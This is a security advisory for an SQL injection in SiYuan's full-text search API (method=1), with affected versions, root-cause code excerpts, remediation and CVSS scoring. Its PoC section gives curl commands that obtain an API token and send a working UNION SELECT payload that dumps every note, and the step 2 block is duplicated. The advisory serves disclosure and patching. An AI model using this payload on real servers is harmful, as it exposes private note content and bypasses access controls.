Skip to content

Authenticated SQL Injection in full-text search (`method=1` query syntax)

High
88250 published GHSA-336w-67gx-gx2h Aug 26, 2026

Package

gomod https://github.com/siyuan-note/siyuan (Go)

Affected versions

<= 3.8.1 (also present on dev v3.8.2-alpha)

Patched versions

v3.8.2

Description

Summary

The method=1 ("query syntax") branch of POST /api/search/fullTextSearchBlock concatenates the raw, attacker-controlled query string directly into the FTS5 MATCH operand of a SQL statement without escaping quotes. Only method=2 (raw SQL) is admin-gated; method=1 is reachable by any authenticated role, including anonymous publish-mode readers. A reader can inject a UNION SELECT and read the entire blocks table (all document content, titles, markdown, attributes), bypassing the publish-access boundary.

Details

The FTS5 query string is built by string concatenation in kernel/model/search.go:2416 (fullTextSearchByFTSInBox), and identically in fullTextSearchCountByFTSInBox at :2677:

stmt := "SELECT " + projections + " FROM " + table + " WHERE (`" + table + "` MATCH '" + columnFilter() + ":(" + query + ")'"

The query is only passed through filterQueryInvisibleChars (search.go:1656), which does not escape '. The sibling search methods escape via stringQuery/fieldRegexp; method=1 does not.

Dispatch (kernel/model/search.go:1674-1686):

case 1: //
    ...
    blocks, matchedBlockCount, matchedRootCount = fullTextSearchByFTSInBox(query, ...) // raw query

Entry (kernel/api/search.go:529-544) - only method=2 is admin-gated:

if method == 2 && !model.IsAdminRoleContext(c) {
    ret.Msg = "SQL search requires administrator privileges"; return
}

This sink is distinct from two prior, already-fixed advisories on the same endpoint: GHSA-j7wh-x834-p3r7 (method=2 raw SQL, now admin-gated) and GHSA-h89q-4j2h-7h88 (paths[] concatenation, now parameterized via buildPathsFilter). The queryMATCH concatenation was missed by both.

PoC

Prerequisites: a running kernel on :6806 (or any port), a known workspace, and the access auth code (here test123, set at boot via --accessAuthCode). Any authenticated role works; in publish mode an anonymous reader reaches the same endpoint.

Step 1 - obtain the API token.
Obtain the token remotely via the login flow (loginAuth sets the siyuan session cookie; getConf returns
the token):

curl -s -c /tmp/cookies.txt -X POST "http://127.0.0.1:3806/api/system/loginAuth" \
  -H 'Content-Type: application/json' -d '{"authCode":"test123"}'

TOKEN=$(curl -s -b /tmp/cookies.txt -X POST "http://127.0.0.1:3806/api/system/getConf" \
  -H 'Content-Type: application/json' -d '{}' | jq -r '.data.conf.api.token')
echo "$TOKEN"

Step 2 - run the SQL injection (method=1).

curl -s -X POST "http://127.0.0.1:3806/api/search/fullTextSearchBlock" \
  -H "Authorization: Token $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"query":"x)\u0027) UNION SELECT id,parent_id,root_id,hash,box,path,hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks --","method":1,"types":{},"paths":[],"groupBy":0,"orderBy":0,"page":1}' \
  | jq .

Step 2 - run the SQL injection (method=1).

curl -s -X POST "http://127.0.0.1:3806/api/search/fullTextSearchBlock" \
  -H "Authorization: Token $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"query":"x)\u0027) UNION SELECT id,parent_id,root_id,hash,box,path,hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks --","method":1,"types":{},"paths":[],"groupBy":0,"orderBy":0,"page":1}' \
  | jq .

Step 3 - observe the full data dump. \u0027 JSON-escapes to '. The effective query x)') UNION SELECT <21 cols> FROM blocks -- closes the FTS5 column filter ()), the SQL string literal ('), and the WHERE ( paren, then injects a UNION returning all 21 projected columns from blocks, and comments out the trailing SQL.

The response data.blocks[] contains every row of blocks (documents, headings, paragraphs, their content/markdown/ial) regardless of the search terms - including a canary This is sensitive content: api_token=ABC123DEF456. (matchedBlockCount is 0 because the companion COUNT query's 2-column projection rejects the 21-column UNION; that query is separately injectable for blind extraction.)

Impact

SQL injection (read-only). An anonymous publish reader - or any low-privilege authenticated token escalates to arbitrary read-only SQL on siyuan.db (all notes, block attributes, refs, bookmarks, search history), bypassing publish-access controls. Because matchedBlockCount is returned unfiltered, the COUNT query also enables blind, byte-by-byte data extraction even where the block list is post-filtered. Confidentiality impact: High; Integrity/Availability: None.

Remediation: escape query for the FTS5 operand (reject/escape '), or bind it as a parameter (MATCH ?) as already done in fullTextSearchAssetContentByFTS (kernel/model/asset_content.go:195-199).

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

Credits